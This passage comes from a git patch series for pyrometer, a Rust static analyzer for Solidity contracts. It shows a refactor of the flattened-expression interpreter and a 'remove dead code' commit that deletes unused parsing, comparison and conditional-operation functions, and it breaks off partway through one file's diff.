ArrayLiteral(_) => todo!(), + // Binary operators Power(loc, ..) | Multiply(loc, ..) | Divide(loc, ..) @@ -834,9 +980,7 @@ pub trait Flatten: | BitwiseAnd(loc, ..) | BitwiseXor(loc, ..) | BitwiseOr(loc, ..) => self.interp_op(arena, ctx, next, loc, false), - - BitwiseNot(loc, ..) => self.interp_bit_not(arena, ctx, next), - + BitwiseNot(..) => self.interp_bit_not(arena, ctx, next), AssignAdd(loc, ..) | AssignSubtract(loc, ..) | AssignMultiply(loc, ..) @@ -847,30 +991,41 @@ pub trait Flatten: | AssignXor(loc, ..) | AssignShiftLeft(loc, ..) | AssignShiftRight(loc, ..) => self.interp_op(arena, ctx, next, loc, true), + // Comparator + Not(..) => self.interp_not(arena, ctx, next), + Equal(loc) | NotEqual(loc) | Less(loc) | More(loc) | LessEqual(loc) + | MoreEqual(loc) | And(loc) | Or(loc) => self.interp_cmp(arena, ctx, loc, next), - Super(..) => unreachable!(), + // Function calling MemberAccess(..) => self.interp_member_access(arena, ctx, next), - - Requirement(..) => { - self.set_expr_flag(ExprFlag::Requirement); - Ok(()) - } FunctionCall(..) => self.interp_func_call(arena, ctx, next, None), FunctionCallBlock(_) => todo!(), NamedArgument(..) => Ok(()), NamedFunctionCall(..) => { self.interp_named_func_call(arena, ctx, stack, next, parse_idx) } + Return(..) => self.interp_return(arena, ctx, next), + Revert(loc, n) => { + let _ = ctx.pop_n_latest_exprs(n, loc, self).into_expr_err(loc)?; + ctx.kill(self, loc, KilledKind::Revert).into_expr_err(loc) + } + + // Semi useless + Parameter(_, _, _) => Ok(()), + Super(..) => unreachable!(), + Emit(loc) => { + let _ = ctx.pop_n_latest_exprs(1, loc, self).into_expr_err(loc)?; + Ok(()) + } + Null(loc) => ctx.push_expr(ExprRet::Null, self).into_expr_err(loc), + // Todo + This(_) => todo!(), Delete(_) => todo!(), UnaryPlus(_) => todo!(), + Try { .. } => todo!(), - ConditionalOperator(_) => todo!(), - - This(_) => todo!(), - List(_, _) => self.interp_list(ctx, stack, next, parse_idx), - Parameter(_, _, _) => Ok(()), - Null(loc) => ctx.push_expr(ExprRet::Null, self).into_expr_err(loc), + // Yul YulExpr(FlatYulExpr::YulStartBlock) => { self.increment_asm_block(); Ok(()) @@ -1027,6 +1182,46 @@ pub trait Flatten: self.op_match(arena, ctx, loc, &lhs, &rhs, op, assign) } + fn interp_while( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + stack: &mut Vec, + while_expr: FlatExpr, + parse_idx: usize, + ) -> Result<(), ExprErr> { + let FlatExpr::While { + loc, + condition, + body, + } = while_expr + else { + unreachable!() + }; + todo!() + } + + fn interp_for( + &mut self, + arena: &mut RangeArena>, + ctx: ContextNode, + stack: &mut Vec, + for_expr: FlatExpr, + parse_idx: usize, + ) -> Result<(), ExprErr> { + let FlatExpr::For { + loc, + start, + condition, + after_each, + body, + } = for_expr + else { + unreachable!() + }; + todo!() + } + fn interp_if( &mut self, arena: &mut RangeArena>, @@ -1124,7 +1319,7 @@ pub trait Flatten: Ok(()) })?; // parse the false body expressions - for i in 0..false_body { + for _ in 0..false_body { self.interpret_step(arena, false_subctx, loc, stack)?; } } @@ -1183,10 +1378,8 @@ pub trait Flatten: FlatExpr::MoreEqual(..) => { self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Gte, &rhs) } - FlatExpr::LessEqual(..) => { - self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::And, &rhs) - } - FlatExpr::MoreEqual(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Or, &rhs), + FlatExpr::And(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::And, &rhs), + FlatExpr::Or(..) => self.cmp_inner(arena, ctx, loc, &lhs, RangeOp::Or, &rhs), _ => unreachable!(), } } @@ -1366,12 +1559,7 @@ pub trait Flatten: self.match_assign_sides(arena, ctx, loc, &lhs, &rhs) } - fn interp_array_ty( - &mut self, - arena: &mut RangeArena>, - ctx: ContextNode, - arr_ty: FlatExpr, - ) -> Result<(), ExprErr> { + fn interp_array_ty(&mut self, ctx: ContextNode, arr_ty: FlatExpr) -> Result<(), ExprErr> { let FlatExpr::ArrayTy(loc) = arr_ty else { unreachable!() }; @@ -1403,7 +1591,7 @@ pub trait Flatten: func_call: FlatExpr, parse_idx: usize, ) -> Result<(), ExprErr> { - let FlatExpr::NamedFunctionCall(loc, n) = func_call else { + let FlatExpr::NamedFunctionCall(_, n) = func_call else { unreachable!() }; @@ -1664,7 +1852,7 @@ pub trait Flatten: }; let end = parse_idx + 1 + num; - let exprs = (&stack[parse_idx + 1..end]).to_vec(); + let exprs = stack[parse_idx + 1..end].to_vec(); let fn_node = ctx.associated_fn(self).into_expr_err(loc)?; let yul_fn = self.add_node(YulFunction::new(exprs, name, loc)); self.add_edge(yul_fn, fn_node, Edge::YulFunction(self.current_asm_block())); From 2daf5c307869346cafa3cbb0b6305c11544d3b0e Mon Sep 17 00:00:00 2001 From: brock elmore Date: Thu, 18 Jul 2024 15:01:19 -0700 Subject: [PATCH 19/52] remove dead code --- crates/graph/src/nodes/context/var/ranging.rs | 18 - crates/graph/src/nodes/yul_func.rs | 9 +- crates/graph/src/range/elem/concrete.rs | 9 +- .../src/range/elem/elem_enum/range_elem.rs | 22 +- crates/graph/src/range/elem/elem_trait.rs | 8 +- crates/graph/src/range/elem/expr/mod.rs | 8 - crates/graph/src/range/elem/map_or_array.rs | 10 +- crates/graph/src/range/elem/reference.rs | 10 +- .../graph/src/range/exec/mem_ops/mem_get.rs | 5 +- crates/pyrometer/src/analyzer.rs | 4 +- crates/pyrometer/src/analyzer_backend.rs | 2 +- crates/solc-expressions/src/array.rs | 73 +-- crates/solc-expressions/src/assign.rs | 51 +- crates/solc-expressions/src/bin_op.rs | 67 +-- crates/solc-expressions/src/cmp.rs | 75 +-- crates/solc-expressions/src/cond_op.rs | 244 +------- .../src/context_builder/expr.rs | 41 -- .../src/context_builder/flattened.rs | 19 +- .../src/context_builder/mod.rs | 14 +- .../src/context_builder/stmt.rs | 43 -- .../context_builder/test_command_runner.rs | 8 +- .../solc-expressions/src/func_call/apply.rs | 8 +- .../src/func_call/func_caller.rs | 123 +--- .../src/func_call/internal_call.rs | 318 +--------- .../src/func_call/intrinsic_call/abi.rs | 129 +---- .../src/func_call/intrinsic_call/address.rs | 4 +- .../src/func_call/intrinsic_call/array.rs | 287 +-------- .../src/func_call/intrinsic_call/block.rs | 10 +- .../func_call/intrinsic_call/constructors.rs | 97 +--- .../func_call/intrinsic_call/dyn_builtin.rs | 2 +- .../intrinsic_call/intrinsic_caller.rs | 36 +- .../src/func_call/intrinsic_call/msg.rs | 2 +- .../func_call/intrinsic_call/precompile.rs | 27 +- .../src/func_call/intrinsic_call/solidity.rs | 3 +- .../src/func_call/intrinsic_call/types.rs | 30 +- crates/solc-expressions/src/func_call/mod.rs | 1 - .../src/func_call/modifier.rs | 205 +++---- .../src/func_call/namespaced_call.rs | 545 ------------------ crates/solc-expressions/src/loops.rs | 31 +- .../src/member_access/builtin_access.rs | 2 +- .../src/member_access/enum_access.rs | 4 +- .../src/member_access/library_access.rs | 2 +- .../src/member_access/list_access.rs | 2 +- .../src/member_access/member_trait.rs | 7 +- .../src/member_access/struct_access.rs | 4 +- .../src/pre_post_in_decrement.rs | 103 +--- crates/solc-expressions/src/require.rs | 2 +- crates/solc-expressions/src/variable.rs | 2 +- crates/solc-expressions/src/yul/mod.rs | 2 - .../solc-expressions/src/yul/yul_builder.rs | 369 +----------- .../solc-expressions/src/yul/yul_cond_op.rs | 379 ------------ crates/solc-expressions/src/yul/yul_funcs.rs | 16 +- 52 files changed, 223 insertions(+), 3269 deletions(-) delete mode 100644 crates/solc-expressions/src/context_builder/expr.rs delete mode 100644 crates/solc-expressions/src/context_builder/stmt.rs delete mode 100644 crates/solc-expressions/src/func_call/namespaced_call.rs delete mode 100644 crates/solc-expressions/src/yul/yul_cond_op.rs diff --git a/crates/graph/src/nodes/context/var/ranging.rs b/crates/graph/src/nodes/context/var/ranging.rs index 7844c92a..eff44095 100644 --- a/crates/graph/src/nodes/context/var/ranging.rs +++ b/crates/graph/src/nodes/context/var/ranging.rs @@ -65,24 +65,6 @@ impl ContextVarNode { self.underlying(analyzer)?.ty.ref_range(analyzer) } - pub fn last_range_op( - &self, - analyzer: &impl GraphBackend, - arena: &mut RangeArena>, - ) -> Result, GraphError> { - if let Some(r) = self.ref_range(analyzer)? { - let min_op = r.range_min().last_range_op(analyzer, arena)?; - let max_op = r.range_max().last_range_op(analyzer, arena)?; - if min_op == max_op { - Ok(min_op) - } else { - Ok(None) - } - } else { - Ok(None) - } - } - pub fn range_min( &self, analyzer: &impl GraphBackend, diff --git a/crates/graph/src/nodes/yul_func.rs b/crates/graph/src/nodes/yul_func.rs index 54a30ff6..d012eca6 100644 --- a/crates/graph/src/nodes/yul_func.rs +++ b/crates/graph/src/nodes/yul_func.rs @@ -1,13 +1,8 @@ -use crate::{ - nodes::{Concrete, ContractNode}, - range::elem::Elem, - AnalyzerBackend, AsDotStr, Edge, GraphBackend, Node, VarType, -}; +use crate::{nodes::Concrete, range::elem::Elem, AsDotStr, GraphBackend, Node}; use shared::{FlatExpr, GraphError, NodeIdx, RangeArena}; -use petgraph::visit::EdgeRef; -use solang_parser::pt::{Expression, Identifier, Loc, TypeDefinition}; +use solang_parser::pt::Loc; #[derive(Debug, Copy, Clone, Ord, PartialOrd, Eq, PartialEq, Hash)] pub struct YulFunctionNode(pub usize); diff --git a/crates/graph/src/range/elem/concrete.rs b/crates/graph/src/range/elem/concrete.rs index 71732235..218d756b 100644 --- a/crates/graph/src/range/elem/concrete.rs +++ b/crates/graph/src/range/elem/concrete.rs @@ -1,6 +1,6 @@ use crate::{ nodes::{Concrete, ContextVarNode}, - range::elem::{Elem, RangeArenaLike, RangeElem, RangeOp}, + range::elem::{Elem, RangeArenaLike, RangeElem}, GraphBackend, }; @@ -84,13 +84,6 @@ impl RangeConcrete { impl RangeElem for RangeConcrete { type GraphError = GraphError; - fn last_range_op( - &self, - analyzer: &impl GraphBackend, - arena: &mut RangeArena>, - ) -> Result, GraphError> { - Ok(None) - } fn arenaize( &mut self, analyzer: &mut impl GraphBackend, diff --git a/crates/graph/src/range/elem/elem_enum/range_elem.rs b/crates/graph/src/range/elem/elem_enum/range_elem.rs index 6d0ec76c..5e9ffcad 100644 --- a/crates/graph/src/range/elem/elem_enum/range_elem.rs +++ b/crates/graph/src/range/elem/elem_enum/range_elem.rs @@ -1,7 +1,7 @@ use crate::elem::{MinMaxed, RangeArenaLike}; use crate::{ nodes::{Concrete, ContextVarNode}, - range::elem::{collapse, Elem, MaybeCollapsed, RangeElem, RangeOp}, + range::elem::{collapse, Elem, MaybeCollapsed, RangeElem}, GraphBackend, }; @@ -10,26 +10,6 @@ use shared::{GraphError, NodeIdx, RangeArena}; impl RangeElem for Elem { type GraphError = GraphError; - fn last_range_op( - &self, - analyzer: &impl GraphBackend, - arena: &mut RangeArena>, - ) -> Result, GraphError> { - match self { - Self::Reference(d) => d.last_range_op(analyzer, arena), - Self::Concrete(c) => c.last_range_op(analyzer, arena), - Self::Expr(expr) => expr.last_range_op(analyzer, arena), - Self::ConcreteDyn(d) => d.last_range_op(analyzer, arena), - Self::Null => Ok(None), - Self::Arena(_) => { - let (de, idx) = self.dearenaize(arena); - let res = de.last_range_op(analyzer, arena)?; - self.rearenaize(de, idx, arena); - Ok(res) - } - } - } - fn arenaize( &mut self, analyzer: &mut impl GraphBackend, diff --git a/crates/graph/src/range/elem/elem_trait.rs b/crates/graph/src/range/elem/elem_trait.rs index 1176f575..604a49df 100644 --- a/crates/graph/src/range/elem/elem_trait.rs +++ b/crates/graph/src/range/elem/elem_trait.rs @@ -1,4 +1,4 @@ -use crate::{elem::RangeOp, nodes::ContextVarNode, range::elem::Elem, GraphBackend}; +use crate::{nodes::ContextVarNode, range::elem::Elem, GraphBackend}; use shared::{GraphError, NodeIdx, RangeArena}; use std::hash::Hash; @@ -123,10 +123,4 @@ pub trait RangeElem: Hash { analyzer: &mut impl GraphBackend, arena: &mut RangeArena>, ) -> Result<(), GraphError>; - - fn last_range_op( - &self, - analyzer: &impl GraphBackend, - arena: &mut RangeArena>, - ) -> Result, GraphError>; } diff --git a/crates/graph/src/range/elem/expr/mod.rs b/crates/graph/src/range/elem/expr/mod.rs index 3c070339..22519975 100644 --- a/crates/graph/src/range/elem/expr/mod.rs +++ b/crates/graph/src/range/elem/expr/mod.rs @@ -230,14 +230,6 @@ impl RangeExpr { impl RangeElem for RangeExpr { type GraphError = GraphError; - fn last_range_op( - &self, - analyzer: &impl GraphBackend, - arena: &mut RangeArena>, - ) -> Result, GraphError> { - Ok(Some(self.op)) - } - // #[tracing::instrument(level = "trace", skip_all)] fn arenaize( &mut self, diff --git a/crates/graph/src/range/elem/map_or_array.rs b/crates/graph/src/range/elem/map_or_array.rs index b92f073b..2ca07abd 100644 --- a/crates/graph/src/range/elem/map_or_array.rs +++ b/crates/graph/src/range/elem/map_or_array.rs @@ -1,7 +1,7 @@ use crate::{ nodes::{Builtin, Concrete, ContextVarNode}, range::{ - elem::{Elem, MinMaxed, RangeConcrete, RangeElem, RangeOp}, + elem::{Elem, MinMaxed, RangeConcrete, RangeElem}, exec_traits::{RangeCast, RangeMemLen}, }, GraphBackend, @@ -274,14 +274,6 @@ impl RangeDyn { impl RangeElem for RangeDyn { type GraphError = GraphError; - fn last_range_op( - &self, - analyzer: &impl GraphBackend, - arena: &mut RangeArena>, - ) -> Result, GraphError> { - Ok(None) - } - fn arenaize( &mut self, analyzer: &mut impl GraphBackend, diff --git a/crates/graph/src/range/elem/reference.rs b/crates/graph/src/range/elem/reference.rs index 3294fe1f..530bfc32 100644 --- a/crates/graph/src/range/elem/reference.rs +++ b/crates/graph/src/range/elem/reference.rs @@ -1,7 +1,7 @@ use crate::{ nodes::{Concrete, ContextVarNode}, range::{ - elem::{Elem, MinMaxed, RangeArenaLike, RangeConcrete, RangeElem, RangeOp}, + elem::{Elem, MinMaxed, RangeArenaLike, RangeConcrete, RangeElem}, Range, }, GraphBackend, TypeNode, VarType, @@ -56,14 +56,6 @@ impl Reference { impl RangeElem for Reference { type GraphError = GraphError; - fn last_range_op( - &self, - analyzer: &impl GraphBackend, - arena: &mut RangeArena>, - ) -> Result, GraphError> { - ContextVarNode::from(self.idx).last_range_op(analyzer, arena) - } - fn arenaize( &mut self, analyzer: &mut impl GraphBackend, diff --git a/crates/graph/src/range/exec/mem_ops/mem_get.rs b/crates/graph/src/range/exec/mem_ops/mem_get.rs index 28506953..62d3c99e 100644 --- a/crates/graph/src/range/exec/mem_ops/mem_get.rs +++ b/crates/graph/src/range/exec/mem_ops/mem_get.rs @@ -142,9 +142,8 @@ pub fn exec_get_index( } Elem::ConcreteDyn(d) => { d.val.iter().for_each(|(k, (v, _op))| { - match k.overlaps(rhs, true, analyzer, arena) { - Ok(Some(true)) => candidates.push(v.clone()), - _ => {} + if let Ok(Some(true)) = k.overlaps(rhs, true, analyzer, arena) { + candidates.push(v.clone()) } }); } diff --git a/crates/pyrometer/src/analyzer.rs b/crates/pyrometer/src/analyzer.rs index 44465bb1..546e7c23 100644 --- a/crates/pyrometer/src/analyzer.rs +++ b/crates/pyrometer/src/analyzer.rs @@ -6,7 +6,7 @@ use reqwest::Client; use serde::{Deserialize, Serialize}; use shared::{AnalyzerLike, ApplyStats, GraphLike, NodeIdx, Search}; use shared::{ExprErr, ExprFlag, FlatExpr, IntoExprErr, RangeArena, USE_DEBUG_SITE}; -use solc_expressions::{Flatten, StatementParser}; +use solc_expressions::Flatten; use tokio::runtime::Runtime; use tracing::{error, trace, warn}; @@ -152,7 +152,7 @@ pub struct Analyzer { pub current_asm_block: usize, } -impl<'a> Default for Analyzer { +impl Default for Analyzer { fn default() -> Self { let mut a = Self { root: Default::default(), diff --git a/crates/pyrometer/src/analyzer_backend.rs b/crates/pyrometer/src/analyzer_backend.rs index d500cc94..6f55551c 100644 --- a/crates/pyrometer/src/analyzer_backend.rs +++ b/crates/pyrometer/src/analyzer_backend.rs @@ -267,7 +267,7 @@ impl AnalyzerLike for Analyzer { Some(reconstruction_edge) } - e => None, + _e => None, } } _ => None, diff --git a/crates/solc-expressions/src/array.rs b/crates/solc-expressions/src/array.rs index 4f40777b..ed07626e 100644 --- a/crates/solc-expressions/src/array.rs +++ b/crates/solc-expressions/src/array.rs @@ -1,4 +1,4 @@ -use crate::{require::Require, variable::Variable, ContextBuilder, ExpressionParser, ListAccess}; +use crate::{require::Require, variable::Variable, ListAccess}; use graph::{ elem::{Elem, RangeDyn, RangeOp}, @@ -7,39 +7,12 @@ use graph::{ }; use shared::{ExprErr, IntoExprErr, RangeArena}; -use solang_parser::{ - helpers::CodeLocation, - pt::{Expression, Loc}, -}; +use solang_parser::pt::{Expression, Loc}; impl Array for T where T: AnalyzerBackend + Sized {} /// Handles arrays pub trait Array: AnalyzerBackend + Sized { /// Gets the array type - #[tracing::instrument(level = "trace", skip_all)] - fn array_ty( - &mut self, - arena: &mut RangeArena>, - ty_expr: &Expression, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, ty_expr, ctx)?; - self.apply_to_edges(ctx, ty_expr.loc(), arena, &|analyzer, _arena, ctx, loc| { - if let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? { - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_ty(ctx, ty_expr.loc(), ret) - } else { - Err(ExprErr::NoLhs( - loc, - "No array specified for getting array type".to_string(), - )) - } - }) - } - fn match_ty(&mut self, ctx: ContextNode, loc: Loc, ret: ExprRet) -> Result<(), ExprErr> { match ret { ExprRet::Single(inner_ty) | ExprRet::SingleLiteral(inner_ty) => { @@ -75,48 +48,6 @@ pub trait Array: AnalyzerBackend + Sized { } /// Indexes into an array - #[tracing::instrument(level = "trace", skip_all)] - fn index_into_array( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - ty_expr: &Expression, - index_expr: &Expression, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - tracing::trace!("Indexing into array"); - self.parse_ctx_expr(arena, index_expr, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(index_tys) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "Could not find the index variable".to_string(), - )); - }; - if matches!(index_tys, ExprRet::CtxKilled(_)) { - ctx.push_expr(index_tys, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.parse_ctx_expr(arena, ty_expr, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(inner_tys) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs(loc, "Could not find the array".to_string())); - }; - if matches!(inner_tys, ExprRet::CtxKilled(_)) { - ctx.push_expr(inner_tys, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.index_into_array_inner( - arena, - ctx, - inner_tys.flatten(), - index_tys.clone().flatten(), - loc, - ) - }) - }) - } - #[tracing::instrument(level = "trace", skip_all)] fn index_into_array_inner( &mut self, diff --git a/crates/solc-expressions/src/assign.rs b/crates/solc-expressions/src/assign.rs index 4b8a497d..283db0d6 100644 --- a/crates/solc-expressions/src/assign.rs +++ b/crates/solc-expressions/src/assign.rs @@ -1,4 +1,4 @@ -use crate::{array::Array, variable::Variable, ContextBuilder, ExpressionParser, ListAccess}; +use crate::variable::Variable; use graph::{ elem::{Elem, RangeElem}, @@ -12,55 +12,6 @@ use solang_parser::pt::{Expression, Loc}; impl Assign for T where T: AnalyzerBackend + Sized {} /// Handles assignments pub trait Assign: AnalyzerBackend + Sized { - #[tracing::instrument(level = "trace", skip_all)] - /// Parse an assignment expression - fn assign_exprs( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - lhs_expr: &Expression, - rhs_expr: &Expression, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, lhs_expr, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Assign operation had no left hand side".to_string(), - )); - }; - - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - analyzer.parse_ctx_expr(arena, rhs_expr, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "Assign operation had no right hand side".to_string(), - )); - }; - let lhs_paths = ctx - .pop_expr_latest(loc, analyzer) - .into_expr_err(loc)? - .unwrap() - .flatten(); - - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.match_assign_sides(arena, ctx, loc, &lhs_paths, &rhs_paths)?; - Ok(()) - }) - }) - } - /// Match on the [`ExprRet`]s of an assignment expression fn match_assign_sides( &mut self, diff --git a/crates/solc-expressions/src/bin_op.rs b/crates/solc-expressions/src/bin_op.rs index e4c5e357..9f1ea025 100644 --- a/crates/solc-expressions/src/bin_op.rs +++ b/crates/solc-expressions/src/bin_op.rs @@ -1,4 +1,4 @@ -use crate::{require::Require, variable::Variable, ContextBuilder, ExpressionParser}; +use crate::{require::Require, variable::Variable}; use graph::{ elem::*, @@ -16,45 +16,6 @@ impl BinOp for T where T: AnalyzerBackend + Sized { /// Evaluate and execute a binary operation expression - #[tracing::instrument(level = "trace", skip_all)] - fn op_expr( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - lhs_expr: &Expression, - rhs_expr: &Expression, - ctx: ContextNode, - op: RangeOp, - assign: bool, - ) -> Result<(), ExprErr> { - ctx.add_gas_cost(self, shared::gas::BIN_OP_GAS) - .into_expr_err(loc)?; - self.parse_ctx_expr(arena, rhs_expr, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs(loc, "Binary operation had no right hand side".to_string())) - }; - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let rhs_paths = rhs_paths.flatten(); - let rhs_ctx = ctx; - analyzer.parse_ctx_expr(arena, lhs_expr, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs(loc, format!("Binary operation had no left hand side, Expr: {lhs_expr:#?}, rhs ctx: {}, curr ctx: {}", rhs_ctx.path(analyzer), ctx.path(analyzer)))) - }; - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let lhs_paths = lhs_paths.flatten(); - analyzer.op_match(arena, ctx, loc, &lhs_paths, &rhs_paths, op, assign) - }) - }) - } - fn op_match( &mut self, arena: &mut RangeArena>, @@ -294,31 +255,7 @@ pub trait BinOp: AnalyzerBackend + Sized { )) } - #[tracing::instrument(level = "trace", skip_all)] - fn bit_not( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - lhs_expr: &Expression, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, lhs_expr, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "Not operation had no element".to_string(), - )); - }; - - if matches!(lhs, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.bit_not_inner(arena, ctx, lhs.flatten(), loc) - }) - } - + /// Perform bitwise not #[tracing::instrument(level = "trace", skip_all)] fn bit_not_inner( &mut self, diff --git a/crates/solc-expressions/src/cmp.rs b/crates/solc-expressions/src/cmp.rs index 4e7c902c..78d9051c 100644 --- a/crates/solc-expressions/src/cmp.rs +++ b/crates/solc-expressions/src/cmp.rs @@ -1,5 +1,3 @@ -use crate::{ContextBuilder, ExpressionParser}; - use graph::{ elem::*, nodes::{ @@ -16,31 +14,7 @@ use std::cmp::Ordering; impl Cmp for T where T: AnalyzerBackend + Sized {} /// Handles comparator operations, i.e: `!` pub trait Cmp: AnalyzerBackend + Sized { - #[tracing::instrument(level = "trace", skip_all)] - fn not( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - lhs_expr: &Expression, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, lhs_expr, ctx)?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "Not operation had no element".to_string(), - )); - }; - - if matches!(lhs, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.not_inner(arena, ctx, loc, lhs.flatten()) - }) - } - + /// Perform logical not operation #[tracing::instrument(level = "trace", skip_all)] fn not_inner( &mut self, @@ -103,52 +77,7 @@ pub trait Cmp: AnalyzerBackend + Sized { } } - #[tracing::instrument(level = "trace", skip_all)] - fn cmp( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - lhs_expr: &Expression, - op: RangeOp, - rhs_expr: &Expression, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - analyzer.parse_ctx_expr(arena, rhs_expr, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(rhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs( - loc, - "Cmp operation had no right hand side".to_string(), - )); - }; - let rhs_paths = rhs_paths.flatten(); - - if matches!(rhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - - analyzer.parse_ctx_expr(arena, lhs_expr, ctx)?; - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - let Some(lhs_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "Cmp operation had no left hand side".to_string(), - )); - }; - - if matches!(lhs_paths, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_paths, analyzer).into_expr_err(loc)?; - return Ok(()); - } - analyzer.cmp_inner(arena, ctx, loc, &lhs_paths.flatten(), op, &rhs_paths) - }) - }) - }) - } - + /// Performs a comparison operation #[tracing::instrument(level = "trace", skip_all)] fn cmp_inner( &mut self, diff --git a/crates/solc-expressions/src/cond_op.rs b/crates/solc-expressions/src/cond_op.rs index 2ed9333b..7b95216b 100644 --- a/crates/solc-expressions/src/cond_op.rs +++ b/crates/solc-expressions/src/cond_op.rs @@ -1,245 +1,11 @@ -use crate::{require::Require, ContextBuilder, ExpressionParser}; +use crate::require::Require; -use graph::{ - elem::Elem, - nodes::{Concrete, Context, ContextNode, SubContextKind}, - AnalyzerBackend, ContextEdge, Edge, Node, -}; -use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; +use graph::AnalyzerBackend; +use shared::ExprErr; -use solang_parser::pt::CodeLocation; -use solang_parser::pt::{Expression, Loc, Statement}; +use solang_parser::pt::Expression; impl CondOp for T where T: AnalyzerBackend + Require + Sized {} /// Handles conditional operations, like `if .. else ..` and ternary operations -pub trait CondOp: AnalyzerBackend + Require + Sized { - #[tracing::instrument(level = "trace", skip_all)] - /// Handles a conditional operation like `if .. else ..` - fn cond_op_stmt( - &mut self, - arena: &mut RangeArena>, - loc: Loc, - if_expr: &Expression, - true_stmt: &Statement, - false_stmt: &Option>, - ctx: ContextNode, - ) -> Result<(), ExprErr> { - panic!("cond op"); - // self.apply_to_edges(ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let tctx = - // Context::add_subctx(ctx, None, loc, Some("true"), None, false, analyzer, None) - // .into_expr_err(loc)?; - // let true_subctx = ContextNode::from(analyzer.add_node(Node::Context(tctx))); - // let fctx = - // Context::add_subctx(ctx, None, loc, Some("false"), None, false, analyzer, None) - // .into_expr_err(loc)?; - // let false_subctx = ContextNode::from(analyzer.add_node(Node::Context(fctx))); - // ctx.set_child_fork(true_subctx, false_subctx, analyzer) - // .into_expr_err(loc)?; - // true_subctx - // .set_continuation_ctx(analyzer, ctx, "fork_true") - // .into_expr_err(loc)?; - // false_subctx - // .set_continuation_ctx(analyzer, ctx, "fork_false") - // .into_expr_err(loc)?; - // let ctx_fork = analyzer.add_node(Node::ContextFork); - // analyzer.add_edge(ctx_fork, ctx, Edge::Context(ContextEdge::ContextFork)); - // analyzer.add_edge( - // NodeIdx::from(true_subctx.0), - // ctx_fork, - // Edge::Context(ContextEdge::Subcontext), - // ); - // analyzer.add_edge( - // NodeIdx::from(false_subctx.0), - // ctx_fork, - // 